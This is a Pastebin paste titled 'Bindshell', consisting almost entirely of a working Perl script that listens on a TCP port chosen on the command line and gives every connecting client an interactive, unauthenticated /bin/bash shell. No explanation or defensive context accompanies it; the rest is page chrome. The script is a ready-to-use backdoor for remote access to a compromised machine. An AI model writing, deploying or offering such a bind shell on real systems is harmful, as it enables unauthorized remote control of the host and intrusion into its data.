SHARE
TWEET

Bindshell

CoupDeGrace Nov 15th, 2013 2,250 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. $SHELL="/bin/bash -i";
  3. if (@ARGV < 1) { exit(1); }
  4. $LISTEN_PORT=$ARGV[0];
  5. use Socket;
  6. $protocol=getprotobyname('tcp');
  7. socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
  8. setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
  9. bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
  10. listen(S,3) || die "Cant listen port\n";
  11. while(1)
  12. {
  13.     accept(CONN,S);
  14.     if(!($pid=fork))
  15.     {
  16.         die "Cannot fork" if (!defined $pid);
  17.         open STDIN,"<&CONN";
  18.         open STDOUT,">&CONN";
  19.         open STDERR,">&CONN";
  20.         exec $SHELL || die print CONN "Cant execute $SHELL\n";
  21.         close CONN;
  22.         exit 0;
  23.     }
  24. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top